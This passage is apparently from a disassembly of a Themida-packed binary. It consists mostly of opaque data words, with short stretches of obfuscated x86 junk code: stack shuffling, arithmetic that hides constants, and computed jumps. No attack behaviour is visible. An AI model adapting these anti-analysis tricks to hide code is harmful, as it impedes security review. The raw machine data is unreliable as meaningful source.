0B212919Fh, 58BFE60h, 14FA1EA4h, 0D5A73A90h dd 992B6F73h, 63D81FCEh, 61C266F9h, 0B0233A4Dh, 849CA541h dd 30C5DA03h, 0A108EE50h, 0FF7BF71Bh, 306E28BBh, 6091B2D4h dd 8D5FEF4h, 0C08CEE40h, 0D2227CE2h, 3363E288h, 5E7BE4EFh dd 2A7CE6CAh, 1A73C597h, 0EBC99E57h, 851F0C0Fh, 68000008h dd 0A1478DEBh, 0DB81C71Dh, 11B7FD5Bh, 46EC3292h, 0E7256BC5h dd 227EFFBBh, 5DB336DCh, 99EF7117h, 0D92FAD53h, 8CD05C93h dd 21F7D647h, 15013283h, 0D82B6F97h, 2227E032h, 0C5D366B8h dd 815EF147h, 24A2985Fh, 3227ACF0h, 39A327E0h, 0E462C3E7h dd 5634BA37h, 0F94BA125h, 99157197h, 0D854E541h, 57DA70F2h dd 4A1CAF01h, 19D81E8h, 9DE80000h, 0AC92B60Ch, 34BF032Bh dd 0B627E032h, 9498FA4Ch, 0F21F3650h, 0F78AF421h, 57E96D53h dd 17E97CD4h, 489763C5h, 0A8DE0DE0h, 29A55116h, 55AF825h dd 167h, 4197156Ch, 0C422A0AEh, 7349607Eh, 1DFD0B4Fh, 95FF21F2h dd 0E3499602h, 15A7DE0Dh, 262AA652h, 47085AF8h, 6F000000h dd 9D1D037Fh, 32885B47h, 0E85227E0h, 7709A086h, 294D9FF9h dd 0F21353E5h, 0F87B2121h, 0AE2A4EA0h, 0DED996Ah, 95F761DEh dd 16987E22h, 45925EC0h, 0A3DE0DECh, 1E9A2E11h, 5F5AF81Dh dd 3B9DFB79h, 0C4D4h, 997F3B00h, 0EB59BB19h, 6BE70B6Dh dd 3258ABEFh, 38A227E0h, 0E032874Ch, 1C9D4327h, 9D1072C4h dd 0F5760E8Fh, 0A8B6499Bh, 9539CC2Ah, 45D830AFh, 25A31173h dd 55797DC3h, 5E27E02Eh, 0DC86CFE0h, 0F7105C5Ch, 1F4620B3h dd 0EE40AAD8h, 1492789Ch, 377B1FB2h, 0D81F46ACh, 1072C42Eh dd 0C94DAEEAh, 0B8B99F1Dh, 4B5E44A6h, 0F3D95579h, 0B1831672h dd 0BB02834Fh, 82ECDE0Bh, 0A1F7785Eh, 0DC34B55Bh, 9DAE3483h dd 7C696CFFh, 6E8h, 0A4EA4ECBh, 0DE247AFEh, 145AB838h dd 5399EF6Eh, 8ED42CADh, 0EB6C5250h, 26A94F95h, 60E288CEh dd 9C1AC006h, 31BDF43Ah, 0F7D4E6EDh, 6293E421h, 0F63C9415h dd 2E74D250h, 15997F15h, 71EF5DBFh, 0F8768417h, 0A01C589Eh dd 0E032975Ch, 0D3175327h, 27E03200h, 0AC0E60CAh, 515Fh dd 41127300h, 6F4A1D4Eh, 7C36BD01h, 4AB427E0h, 0ADB596F8h dd 22EBBEFEh, 860AC4D3h, 0C2CB9D30h, 0C2146181h, 0B7CE5A9Eh dd 269021F7h, 0E9B7C5EBh, 4EDA296Dh, 0B620DE08h, 0D23B6E54h dd 9DDE5F00h, 92B608A4h, 1FDCC54Eh, 0E01B85D8h, 7443h dd 0C9D7A00h, 284E92B6h, 0EA21F21Dh, 5FB981C9h, 0D8D4ED1Eh dd 4C307E1Ch, 23678BDDh, 0DE0D02D0h, 0CB5EB01Ah, 0F2ED6F5Fh dd 0D6BCA821h, 93D7FB55h, 0DE0D7240h, 0A4BE208Ah, 523475C3h dd 10E275D3h, 381E9ABEh, 33FF61B7h, 0D81F5D0Dh, 0A33074F0h dd 63D43B22h, 1FD1927h, 8DC90E3Fh, 3B90BA49h, 84D640D4h dd 4D93FD22h, 0BDC8h, 74F6DC00h, 53B5871Ah, 0BF037F72h dd 27E03234h, 4EA4CB6h, 0B7FB1FA5h, 21F7E469h, 0C97581EBh dd 468DD14Dh, 84DE0818h, 18A52E1Ah, 5EDCDE08h, 5EA37508h dd 8CDE34B8h, 3226542Ah, 37B34728h, 135AFDD1h, 6Ah, 4C97DB57h dd 8EDE0814h, 7E1167E8h, 17F85AACh, 92B60C9Dh, 0F7E4C34Eh dd 0D198321h, 636DED8Fh, 0D16CE89Ch, 0C7AD5AFDh, 8759EC44h dd 38BE25h, 9D250000h, 53A0E40Ch, 9727E032h, 73B7DB2Dh dd 21F7E427h, 0B5333FA9h, 0DCED6F87h, 0C6F29F3Ch, 6E0153BBh dd 0F083E160h, 0AAC936Dh, 25D196A0h, 5AFD1EA9h, 0D85h dd 0FDB7EC00h, 7227E029h, 0FFFED905h, 0C9D3CFFh, 944E92B6h dd 5621F7E4h, 57778135h dd 3F8350F8h, 0DE08F1B4h, 287ACC36h, 289A0F95h, 2773C004h dd 8DF7D81Fh, 8F3574FAh, 0AE06856Bh, 0E204484Ch, 10D22709h dd 189C82A6h, 4B5E7CC2h, 8F115579h, 4DCC4EF3h, 57D9BFE3h dd 1E7FBB01h, 1621834Dh, 0D19DFF1Ah, 5867E433h, 0A10232B0h dd 0CCA8294h, 569D8953h, 94689A08h, 0C41670EEh, 56C888BBh dd 0F612EF4h, 43A523C9h, 3D7F2AB0h, 8A599D19h, 50689A7Fh dd 48084E6h, 0B7B966A3h, 0DCD8E137h, 0D1153989h, 689AC702h dd 30FC5EC8h, 6E88C7F2h, 6D7B0E78h, 0F50396EEh, 0DE8C1F75h dd 24A59B5Ch, 156739CCh, 0E3773812h, 5F680382h, 83E5C078h dd 0FB419715h, 0EA7DD355h, 7D86CA46h, 7D6E887Eh, 58ABEF13h dd 0A26E887Eh, 0E468D638h, 6DEDFB8Eh, 0F5768417h, 76FA089Bh dd 846BF520h, 4D32B4E2h, 1672F3D9h, 6AC446B4h, 88DE6046h dd 0D85A0026h, 325AACC7h, 58AABC9Fh, 0BB3B21C5h, 0E226CA5Dh dd 6E88ED11h, 0BB1D6FD9h, 5F2155E5h, 0C620A298h, 119D6780h dd 941220B3h, 6AF49F32h, 457F2F85h, 41DB59FFh, 0ED1163C1h dd 0D134BD8Ch, 53B51660h, 0A252E967h, 2432C523h, 0DEBB4EA4h dd 2B6FFBBCh, 27E04BD8h, 1966B822h, 9C1A10D7h, 0AE30163Ah dd 91F3C558h, 0DE34B876h, 56D4BAh, 34BF2B9Eh, 0F827E04Bh dd 0DF63591Eh, 1B9D4389h, 128E32C5h, 0E04B05CEh, 0F95BC527h dd 0E04BA32Dh, 2F10E227h, 3379CF51h, 0E06BE92Fh, 9F1A5E27h dd 0DC54E59Eh, 0BE2076F6h, 0FFFF7957h, 9715BEFFh, 0B6371D41h dd 2CD2F85Ah, 364C58AEh, 0A8525EB8h, 62BC3E24h, 819BFDCFh dd 0E442C0BEh, 0F16F55A9h, 0D0320497h, 0E5FB30ACh, 5A0E54h dd 9D750000h, 4E92B60Ch, 21F7E4C5h, 0E4186485h, 0AE9523DEh dd 0A9D2505Ch, 23B60E8Dh, 0AC3F9515h, 1BD14523h, 26143307h dd 0ED6D4324h, 0E0320497h, 0F54324BEh, 6EEA0EB4h, 896D92Ah dd 0F5FE42DEh, 0F5DE0896h, 7ADC468Bh, 40E13276h, 0FF69D81Fh dd 4B27C4h, 553B0000h, 3C1D7FD5h, 92B60C9Dh, 42D52BACh dd 32895A9Eh, 0E75127E0h, 0B32F3395h, 0BC452652h, 0F55768CEh dd 0F7B79A29h, 0D2F66021h, 4EC11256h, 9F09DE08h, 57D3513Dh dd 7EEACDAFh, 5FC11798h, 668A3079h, 1F989122h, 0B4EF59D8h dd 41971583h, 0C422A0AEh, 82C6427Eh, 27E03271h, 5F060F79h dd 77962330h, 6E3B2183h, 1AE4284Ch, 0D821F287h, 606FDB6Eh dd 80DE0E59h, 17D09EEh, 0DD5AF78Ch, 2Ah, 7A0C9D44h, 0FC0A9DFBh dd 0C092257Bh, 0B4F81C6Eh, 21F21362h, 87F386F0h, 0DE0DED78h dd 95210698h, 5AF81C19h, 0E3F5h, 997F5C00h, 5EA5E919h dd 9C27E032h, 107EE032h, 0FDA13492h, 0BDC0E99Ch, 94F647A9h dd 0B84BA526h, 0F8E2CAAh, 0C65426B9h, 895BEE48h, 1896A437h dd 0DB3C78BEh, 144DCE97h, 733FA1F5h, 27E0E1AFh, 0C60C6AE8h dd 2044A220h, 0E33DBEA4h, 41927E50h, 8927E0E1h, 0C44ABD1Fh dd 77BBDFE5h, 21F2E3D1h, 3773B923h, 1173D151h, 183C7E2Bh dd 79963B9Ch, 8C51014Ch, 0D2E15E2Ah, 57C1D81Ah, 74CC4D33h dd 3276F22Eh, 0D439ADA1h, 0EF5DBF29h, 0B9126Eh, 0C8F5AE48h dd 19ED8C5h, 4810000h, 34B85EA4h, 72F298DEh, 0A928CE14h dd 0DE5F054Bh, 0A4FE3C82h, 0F53B9516h, 2E74CC4Fh, 6AB00688h dd 0AAF046C4h, 50A3E773h, 9A21F7D9h, 94151849h, 0D250F63Ch dd 0B1EF5074h, 0A3B687EFh, 0C81B5F83h, 1227E0E8h, 72046A8h dd 0BD1B997Fh, 8E34755Bh, 1390266Ah, 0F86221F2h, 0ECEEF965h dd 25A3DE0Dh, 5AAC0487h, 0DF35B9C7h, 5017A14Ch, 1ADD6F96h dd 0F81CF26Eh, 0C5D05Ah, 15370000h, 0A0AE4197h, 0B20A8D1Fh dd 3391111Fh, 2A7CCEA0h, 36172B97h, 22A027E0h, 5AD87EC4h dd 0C6E369FCh, 0C915DE22h, 0C8CD81Fh, 0B50771B6h, 55991591h dd 0D81FC98Eh, 4CF83288h, 60A5B518h, 86C894F6h, 95DE0DD7h dd 45349134h, 0B91B6692h, 0A8E42A94h, 9721C147h, 58BA3A5Dh dd 61853772h, 1906C31Dh, 93B721D8h, 8A1D2CADh, 0CE29DC0Eh dd 0E01C62B4h, 0BA1C7AFAh, 1C75CB4Ch, 0F5AF7AA7h, 9D473437h dd 80000000h, 0B95FA503h, 0F399DF35h, 29CF1573h, 5E044AAAh dd 0FF3D83DDh, 3A9617A3h, 75CB4EF4h, 0B107892Fh, 0F147C56Bh dd 0A4E874ABh, 21F7DE5Fh, 15194A9Bh, 32183C94h, 0F0C255B3h dd 44C2688Eh, 15839CE2h, 0A0AE4197h, 0D87EC422h, 10B6FC5Ah dd 35A13492h, 709BB451h, 4868C93Dh, 5F9316E4h, 3D021C7Eh dd 2167C13Fh, 779BFD7Bh, 7BFE1391h, 0DBC3EF24h, 299CFE50h dd 0A93C9C1Bh, 2ABD1B9Bh, 0B3469C1Ch, 0D7915630h, 3735FAD4h dd 73195FB9h, 7BD557F5h, 31C416E8h, 344h, 1A8B7B00h, 0AD409815h dd 34C7219Fh, 0B74AA426h, 3BCE26A9h, 0C154AC2Dh, 43D632B3h dd 0CB5EB635h, 54E73DBDh, 0D96CC246h, 0B466822h, 1C890000h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 52242C89h dd 0C281E289h, 4, 4EA81h, 14870000h, 3C895C24h, 0D0685224h dd 5A48B470h, 1FC5CA81h, 0BF575ABDh, 43A51B2h, 7F06CF81h dd 0F7472BADh, 8FCF81D7h, 81181864h, 0F24337F7h, 5FFA3184h dd 545AD589h, 83243C8Bh, 0B95104C4h, 8, 0BB53F901h, 0 ; --------------------------------------------------------------------------- add ebx, ecx mov [ebx], ebp pop ebx pop ecx mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_59027A ; --------------------------------------------------------------------------- dd 5B558855h, 0BB029B9Ch ; --------------------------------------------------------------------------- xor al, 0C3h loc_5DA8DA: ; CODE XREF: Themida_:005D926Cj mov eax, 617ED57h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0BBh dd 0FA11616Ah, 0EB6ED370h, 0D3238D0Ch, 54623DC9h, 0F7D9586h dd 0B058B8BAh, 3F4EBAB6h, 8A51FE76h, 0D231291Ch, 43265445h dd 9A52492Ch, 0B85C9AB8h, 0C555307Fh, 8638FBA4h, 492AE2EEh dd 643C1342h, 1B671B10h, 42FCDFEh, 0EB23F7AEh, 24h, 8 dup(0) dd 0BDE900h, 0B5890000h, 617EE57h, 0EE9858Bh, 858B0612h dd 61225C9h, 0EEA1B58Dh, 858D0617h, 6154CD8h, 55C3D0FFh dd 0E8h, 0ED815D00h, 617EEA7h, 0EE9BD83h, 0F010612h, 2C85h dd 57B5FF00h, 8B0617EEh, 1225C985h, 27363506h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 17EE5BB5h, 0B5FF5606h, 617EE57h, 25C9858Bh, 36350612h dd 0FF348127h, 0CC483D0h, 0EE5BB58Dh, 468B0617h, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 0E9BD8300h, 106120Eh dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 17EE8085h, 11858906h dd 0E906122Ah, 0A3h, 23492C65h, 94h, 5, 1, 0A28h, 2, 76726553h dd 20656369h, 6B636150h, 3220h, 1Eh dup(0) dd 0E9000000h, 0ACFh, 17F18C68h, 90FFE906h, 5168FFFAh dd 0E90617F2h, 0FFFA90F5h, 17F34268h, 90EBE906h, 0AA68FFFAh dd 0E90617F3h, 0FFFA90E1h, 17F4FD68h, 90D7E906h, 4F68FFFAh dd 0E90617F5h, 0FFFA90CDh, 17F84D68h, 90C3E906h, 2168FFFAh dd 0E90617F9h, 0FFFA90B9h, 5DAA652Ch, 0FA47C8C4h, 99E62961h dd 33808F00h, 0CF1CF39Ah, 7518D6DFh, 0D7B44D9Ah, 3E52EB38h dd 0A3EB84D1h, 0F6451F6Ch, 0F74F99EEh, 370DEA4Dh, 0BEF31C72h dd 0B77699F5h, 0EB7E91FEh, 458891EEh, 0DF5F4A3Dh, 0C32E3947h dd 8C92FC04h, 0EAF549F1h, 0F41B722Bh, 7459ECBFh, 0F18F2F5Ch dd 39A8C44Dh, 0AECD7252h, 0B7B93A24h, 8E6E3F78h, 949DEAF2h dd 0D3DE4DF1h, 37D3D568h, 25000000h, 1C0A5AEh, 0F17ECDF9h dd 0F82D3849h, 0F180ABE0h, 8F800F4Dh, 15FA915Ah, 0D8E0DBB4h dd 4DF180AFh, 2156C1CCh, 8F548D79h, 0EF964B67h, 24AEDF97h dd 0CE44h, 1C729600h, 0DCB334F3h, 0BC711A4Ch, 0A4CBB043h dd 0DD3C1923h, 0A134D480h, 0DD12FD90h, 60957A14h, 0BCC4F797h dd 47DFDACBh, 0E6EEADB8h, 47DFDAA1h, 0AD6CD7E2h, 0DAF98E96h dd 7F8A47DFh, 907EFECh, 2B47DFD7h, 0C65FAC63h, 0CF8847C8h dd 4B1E53BCh, 3D46D3B8h, 49919958h, 8D49F1E0h, 2E62B7D4h dd 6ED9ACE1h, 7D0A1239h, 0FE4DF1D3h, 0ADF588F3h, 0A55E55A2h dd 0BC9124EBh, 70FCEB3h, 5004767Fh, 833CFB06h, 1FB8050Ah dd 0AF22A16Eh, 0A3EDBE9Ch, 87E37FEh, 0ABE60000h, 0E7E1764h dd 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h, 754BBD2h dd 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh, 9C4DF750h dd 1B72E9BFh, 800EA7F4h, 148C428Fh, 0B30B4393h, 0C457A05Dh dd 40FFE6EFh, 0F1C58E38h, 0B9EEF949h, 0F1C5EAA1h, 0F4ED094Dh dd 0AE98259Dh, 0BF048524h, 0DE7537A5h, 0A6AAAC3Fh, 0FC000000h dd 0BEF31C72h, 427798F5h, 0DF5BE62Ah, 917E1047h, 2CE3AB44h dd 394E566Dh, 8147DF64h, 0F8CB000Fh, 0DDC25560h, 9B5A4750h dd 4FC0CB84h, 7F5E7726h, 4ADDA1D7h, 0F1A8F0EAh, 77C4CF49h dd 6524111Ah, 445365Dh, 53121D50h, 0CF1CF39Ah, 39B85736h dd 0EDBEAF42h, 0B9440BB0h, 21000007h, 0B9529F70h, 56EF3CD3h dd 0F58EDB34h, 8F28759Ah, 0D4C411FEh, 8F800DE1h, 2DE2A942h dd 0C64947E0h, 61AEE079h, 0E3EB3A14h, 4DF751A4h, 1424FAD7h dd 5F92F5FDh, 0E6F147DFh, 0C44B4253h, 0A1B0DE77h, 45BCDC3Ah dd 0B7046FFBh, 9F1C7201h, 3065AAE6h, 5FDAAD5Dh, 9EA947DFh dd 1ED7FE33h, 523D9E71h, 75192ABDh, 0E7F04D9Ah, 0CA333BFAh dd 0F949F74Ch, 97182FEEh, 209D0459h, 0F0019422h, 3C24719Eh dd 4DF727FBh, 0D1F10081h, 0F0340605h, 4F78963Ch, 8518039Ch dd 6CB9A6B0h, 8E87F475h, 0AD53076Fh, 0F67B0084h, 8114C0A0h dd 0C8D1AA99h, 2D611AD9h, 79DAADE2h, 0F968FB14h, 8DC5DF1h dd 4C9DA850h, 0BC9E26Ch, 0A28F98B4h, 13B3DBE3h, 0C7D2DDBFh dd 15FC0592h, 8EC74E56h, 0A1ACDFD2h, 0AA6529E2h, 45CAC45Dh dd 7273DFC6h, 0C78E337Eh, 6C8h, 61AE6130h, 0FE4BC4C8h dd 9DEA2565h, 37848B04h, 0D320EF9Eh, 711CD2E3h, 0D3B8519Eh dd 3A56EF3Ch, 9FEF88D5h, 0FA492370h, 0F75295F2h, 3309E64Dh dd 1C0A5AEh, 0F74D04F9h, 0DDE5FC49h, 4DF74EAAh, 0F33BCED9h dd 0B6759AF2h, 0F74ED9AEh, 349FAA4Dh, 3FD0BC75h, 0DC3359F2h dd 5FB0DEA7h, 0AFAA8FE0h, 0D79E43EBh, 660h, 0F946C9C8h dd 96E32C60h, 35828DFDh, 0CF1CF39Ch, 6BB85736h, 0D9B43A7Bh dd 3B50E936h, 0A2EE87D4h, 787206Dh, 92E1BB08h, 0F752FD8Ah dd 0CBA17E4Dh, 0C6669314h, 0CC95F2FAh, 0DBE647DFh, 0F436C0B2h dd 0E318F793h, 9FA87D10h, 12EBF3B2h, 3149F82Ah, 0DEAE6726h dd 52BDD031h, 48B74A1Dh, 0C310FF8Fh, 0B8775C66h, 0F6920BB0h dd 78ADB84Dh, 0F6922E60h, 1BFE904Dh, 0FD329D72h, 0A2FB5634h dd 1D0054E4h, 171449B4h, 0A1C90ED3h, 44434B62h, 374DF722h dd 4BC4CB2Ch, 1C756CB8h, 228AFD05h, 0EEF94DF7h, 2196EE5Bh dd 55D624ABh, 55518AA5h, 0CACC5F7Ah, 49h, 0BFA4AE1Ch, 5F8BF800h dd 0BAD147DFh, 0DF5FD5B2h, 89BA647h, 6880B5C0h, 47DF6023h dd 0E217F897h, 0E8A77219h, 8A87BC27h, 1E469B46h, 28A8DF02h dd 0FD22BCE2h, 11h, 192744Fh, 869D0000h, 0DF60097Eh, 0DC6F7A47h dd 0DDAE9BAEh, 752EEDD4h, 0F463F619h, 0F17562ECh, 499AA549h dd 7A228C69h, 40252E96h, 49157981h, 6570F3AAh, 5EEE25A6h dd 6FF24508h, 616AF7DCh, 68ADB574h, 28F99D72h, 797E0911h dd 0F2FDF19Eh, 4D0C175Fh, 0C815FA94h, 31B05F2Fh, 44075F34h dd 0D5219BEh, 75000005h, 0DA6F31Ch, 0AA43907Fh, 49E22FE0h dd 0E37CC946h, 281865AAh, 0E32C618Dh, 818EFD96h, 1AF59B34h dd 0B55A34CDh, 373F8E68h, 4DF75350h, 72805633h, 31BEF31Ch dd 0C24D4328h, 0EE909857h, 0D949F179h, 0A6E881CEh, 6499EA69h dd 9439EBAAh, 4BBCDh, 0A16E2300h, 3ED1BB54h, 0DD3258F1h dd 7798F790h, 13FC912Ah, 0FDFD6C6h, 0AB44917Eh, 49E22FE0h dd 0E27BC847h, 3C1663ACh, 54A2E5EDh, 4E14DF7h, 0F31C722Eh dd 0FE117B34h, 7E63F6C9h, 4F384057h, 2C47DF5Fh, 2D5A6221h dd 4E47DF60h, 0EF9FB043h, 880CEB20h, 0F008E59h, 0E2F5CDC2h dd 2D2222BCh, 74000000h, 1C0A5AEh, 0F17B81F9h, 5C919C49h dd 0F1834744h, 5190AC4Dh, 0AEDD5A3Ah, 27692224h, 662129E8h dd 154DF18Eh, 5175770Ah, 0C7000000h, 1C0A5AEh, 5FA5E2EAh dd 0CBD647DFh, 3FC1C938h, 7249F1AEh, 9CEFA867h, 0AD70171Fh dd 8134DF1h, 0E29B0A9Dh, 690FA7AAh, 57235DE7h, 437897F6h dd 0D0B80570h, 4DF229BEh, 0C2818E00h, 29E4A3ABh, 8C974DF2h dd 2963FCF9h, 0DDEAB1E6h, 54000003h, 1C0A5AEh, 36C94648h dd 603BBFC7h, 5F6A49F1h, 0E22D612Ah, 83040C23h, 4DF15Fh dd 0E77D62F5h, 60F0ED3h, 49EFAD61h, 8FD82Fh, 9C07DA0Fh dd 906A7231h, 885003DEh, 2792BFCFh, 79B7CFDCh, 0B7FF92FDh dd 0C8C65FACh, 6AEB1247h, 42BD0039h, 4D74B4C6h, 64AA5082h dd 889166F9h, 58D2DA99h, 6749F1CDh, 2C5E275Ch, 0A9E5AEE3h dd 879B3166h, 0E018F5Ah, 6A7763A3h, 0B3000F7Fh, 0A9684D56h dd 3F6ADA1h, 0B3D7D850h, 0E954275Ch, 0EB65A92Ah, 359E7F91h dd 1596BDA2h, 0CF6DD489h, 4152E56Fh, 0E58DC24Dh, 3039E8F9h dd 0B26B8241h, 2F0237D8h, 97123C9Ch, 6A7549F1h, 50A841Dh dd 9BF0A9D0h, 0BDD0E174h, 9FEB2E5Ch, 0FD683B70h, 558AF5C8h dd 0AB36ABBFh, 82DF2CE3h, 0B6CD8C79h, 86113835h, 8FE20B04h dd 3292257Bh, 50039DF8h, 0A058687h, 629702D5h, 0E51AF599h dd 9190513Dh, 0C3DA9988h, 65E3A4ACh, 717947DFh, 47DF6616h dd 0B7C25A65h, 8266C424h, 566149F1h, 31591209h, 543A4BDEh dd 4B43FCBBh, 834C31C4h, 5AB7040Bh, 9DA56451h, 5003AEF1h dd 3C548994h, 47DF6C4Fh, 325988A4h, 22BCEF52h, 4F87h, 79819800h dd 47DF750Eh, 8F01626Dh, 0AEBFED80h, 4801C0A5h, 54BBD148h dd 0D0E756E9h, 679C7317h, 25A10194h, 5049F17Fh, 93F81045h dd 604DF180h, 0E74A021h, 1CADA282h, 0A235A06Fh, 8C048B56h dd 5924AEAAh, 0C8h, 35DAB16Ah, 6C9A2D00h, 0BEF31C72h, 8FB998F5h dd 0AA5F6729h, 0B08EF901h, 0E2ED47DFh, 0ED70C77h, 1CF39980h dd 74A914E7h, 22F7944Dh, 0A93CA768h dd 0CC19F698h, 0DFAD2CE4h, 0CF404E47h, 0E3365710h, 5A2D62ADh dd 5F2830EFh, 1C47DFB4h, 0E8817E11h, 0A73469A6h, 0F0F8B79Eh dd 49F1AD66h, 0CE874651h, 0C1BE51BEh, 0B7765B64h, 6BC58CFEh dd 2C2E8BA8h, 19881B86h, 4D50A11h, 2FEEF950h, 0ABF81776h dd 15947B12h, 0EDBE3AF4h, 0BD12D97Eh, 25000001h, 0BD56A36Ch dd 5AF340CFh, 0F992DF30h, 932C7996h, 0D8C815FAh, 937C11DDh dd 31DEAD46h, 0CA454BE4h, 65AAE47Dh, 0E7EF3E18h, 4DF757A0h dd 723006E3h, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0F17ECDF9h dd 0F82D3849h, 0F180ABE0h, 0B52C484Dh, 0AEDFE6DEh, 0C23324h dd 72850000h, 0F0979F1Ch, 9347DF5Fh, 1FE81D88h, 546CA16Eh dd 47DF5CBCh, 125FB0DEh, 9EA61579h, 47DF63E9h, 0E6861009h dd 51E984CBh, 19A6DB46h, 5A622110h, 49F183FCh, 0B7D38CEBh dd 0A0502358h, 4DF188E7h, 63288994h, 97F441ACh, 30DFB18Eh dd 36EF06C5h, 0C828BB54h, 50042AF6h, 1D6A72D1h, 9547E5E3h dd 12E51AF5h, 45046F7Ah, 0C10E018Ch, 2BAA6528h, 0EDBEC6ECh dd 0E9FAC166h, 51000000h, 0E982CF40h, 861F6CA3h, 25BE0B04h dd 0BF58A56Ah, 4F441CEh, 0BF503DB1h, 5DB2D972h, 0F6197710h dd 917E10A9h, 131B6A44h, 4DF75874h, 72542A07h, 7C35F41Bh dd 0F8CB000Fh, 0BFCF6865h, 0A6DB345Ah, 651B68D3h, 0BEF31C72h dd 297699F5h, 1FDEC3CCh, 7DFC799Eh, 9326A88Eh, 9BE51C24h dd 2AAB49F7h, 160A72ECh, 0C30B9E2Dh, 0D4BA83B8h, 0B51E417Dh dd 0B5C5AC31h, 6A414185h, 509D0873h, 338D7B7h, 0D3450DEBh dd 5B869A30h, 0B5BDFE90h, 6B2926D2h, 0EE3BA6B1h, 0C34C3EF7h dd 0E26F1F30h, 0C9A2E254h, 4B80EBD8h, 0CD020D82h, 50858A04h dd 8F2A67BFh, 61C292F2h, 15ABE02Fh, 0BBFBE001h, 0D5F12BACh dd 973B1D05h, 0BE29B804h, 59F23FD0h, 63811C35h, 5CBB5875h dd 0DF5BCF1h, 5F000000h, 92F5FD14h, 0F147DF5Fh, 4F253E6h dd 0BBF01F72h, 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch dd 4D828D00h, 0CF040B84h, 568B8406h, 0DB10FF8Dh db 0D4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push 4FECh mov [esp], ebp push 617F046h mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push edx mov edx, 2AF70B8Bh neg edx neg edx not edx neg edx xor edx, 2AF70B84h add edx, ebp mov [edx], ecx pop edx mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- sar byte ptr [eax+617FA2Fh], cl add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 66BBC852h, 3313A34Ch, 55217EE3h, 672F6C6Eh, 2574A261h dd 3D9A8935h, 7C8F65DDh, 426BEA5Ah, 2CBF3D3Ah, 2778892Eh dd 44FD4142h, 12DE8837h, 6B199FE1h, 2A592AEh, 194CED6Eh dd 4A2B8546h, 4B940E45h, 64F8BA52h, 426139D6h, 5CBCC13Ah dd 0CBA9532h, 5C491E91h, 6CBD307Ch, 2DD7B895h, 0CE7F72Fh dd 485F197Fh, 0FBD28D8Dh, 8E90617h, 36000000h, 6AC8539Eh dd 89CC0E81h, 122DCD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0C7D88BBBh, 1231BD85h dd 67E806h, 0DE816600h, 6E90948h, 0B2000000h, 9FE5374h dd 1185C7ABh, 61200h, 0F000000h, 0B5FFC1BFh, 6120C89h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FCC35646h dd 0A86DC4F5h, 0F4F229C8h, 0FFF08B66h, 12278195h, 8BDA8B06h dd 0FF006AC2h, 1229D195h, 0EBC08B06h, 495AB4Ah, 0F090BFB8h dd 23268951h, 77D515FDh, 0A6252633h, 4C5968A5h, 0B99F32B0h dd 0E590BA66h, 0B4A2F3Ah, 0AB4138D8h, 4BF6804Bh, 5AAE556Dh dd 9C5AC7ADh, 9029E668h, 34FA1ABAh, 0CFF1CE0h, 9B83B1F7h dd 5F8AAA5Bh, 0E9925368h, 1Eh, 3C32256Bh, 6 dup(0) dd 4EE90000h, 29000005h, 0C15AA768h, 5EF744CBh, 0FD96E32Ch dd 97307D92h, 0DCCC19F6h, 977815D9h, 35DAB14Ah, 0CE414FE8h dd 69A6E881h, 0EBF3421Ch, 4DF75B9Ch, 722C02DFh, 0F5BEF31Ch dd 50A8198h, 0F39CFDD0h, 0A914E71Ch, 0E3AC655Ch, 5FB7D0D8h dd 0B9C447DFh, 7D67254Eh, 931D218Fh, 709FEF00h, 0F31C723Bh dd 7897F5BEh, 4899AD43h, 5F1EF19Dh, 0C8EC2EDEh, 9B2E8186h dd 848B059Eh, 0E1A6AEC5h, 0A247DF87h, 10070497h, 0A4D93657h dd 632D3ED1h, 0DDAE77ACh, 87B1D6DEh, 0D1D247DFh, 85E651BEh dd 0FED10609h, 9B53D493h, 0B7855BBEh, 0FB79C2Fh, 0CC5BE23h dd 885B907Fh, 72A76827h, 95FB0C9Fh, 0FA942D7Ah, 0C6C8E015h dd 0D647DFBDh, 0B010776Ah, 6522BCA0h, 65h, 0F31C72B7h dd 72151D34h, 1147DF5Fh, 678E7306h, 603F4850h, 313C47DFh dd 5F4F3E9Eh, 0DD4947DFh, 0FE358D04h, 5E7522BCh, 7424EBA5h dd 47DF6C13h, 6B464149h, 2A3547DFh, 0F2F48792h, 1, 0FF1A7244h dd 5716818Eh, 11AFE5D6h, 0D76AB34Ah, 0AC6329F2h, 2EE1AE77h dd 924F63F9h, 8DDA3557h, 28759AF4h, 0F41B7272h, 7996F6BFh dd 0E16544h, 1A67A8E5h, 43020D81h, 7A0D028Ah, 51BECC95h dd 0D23D531Ch, 54BBD49Dh, 568B771Fh, 0A43D5981h, 0BCFCE5EDh dd 0C13222h, 72840000h, 8267361Bh, 0C5699B8Fh, 0DF6FCABDh dd 43AEB947h, 0B0DAA3D8h, 0B7EC2369h, 0AE4479E4h, 0F19C479Ah dd 5538D11Eh, 0D3BC85BAh, 6FA7E0E8h, 0C9D447DFh, 0A5E69F5Eh dd 0CF62356Ah, 0A66921EAh, 2AE5A871h, 3558C1C9h, 67D2A5DAh dd 59889C32h, 